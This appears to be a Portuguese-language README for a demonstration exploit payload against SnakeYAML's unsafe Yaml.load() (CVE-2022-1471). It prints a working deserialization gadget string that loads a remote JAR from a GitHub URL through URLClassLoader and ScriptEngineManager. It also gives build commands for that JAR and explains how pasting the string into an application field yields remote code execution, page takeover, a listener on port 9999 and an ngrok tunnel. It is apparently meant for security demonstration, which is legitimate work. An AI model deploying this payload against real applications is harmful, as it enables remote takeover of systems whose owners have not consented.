
Payload de exploração do SnakeYAML CVE-2022-1471 para demonstração
Um payload de exploração de desserialização SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (originalmente baseado em mbechler/marshalsec).
Quando carregado via Yaml.load() inseguro do SnakeYAML, este payload assume o controle do aplicativo em execução e o substitui por uma página "You've Been PWNED":
Se a injeção de Válvula Tomcat não estiver disponível (por exemplo, aplicativo não-Spring), ele recorre a iniciar um servidor HTTP independente na porta 9999 e cria automaticamente um túnel ngrok se o ngrok estiver em execução.
Isso funciona tanto localmente no macOS quanto em pipelines CI/CD (por exemplo, GitHub Actions no Ubuntu).
O payload SnakeYAML aciona o ScriptEngineManager via SPI (Interface de Provedor de Serviço) Java:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL apontando para o yaml-payload.jar deste repositórioURLClassLoader para carregar classes remotasScriptEngineManager descobre e carrega AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory/ pela página PWNEDRequer JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Usado como payload de exploração no projeto maven-demo. Cole a string do payload no campo de nome do aplicativo para acionar o RCE. A página do aplicativo será substituída pela página PWNED na próxima solicitação. Veja o README desse repositório para instruções completas da demonstração.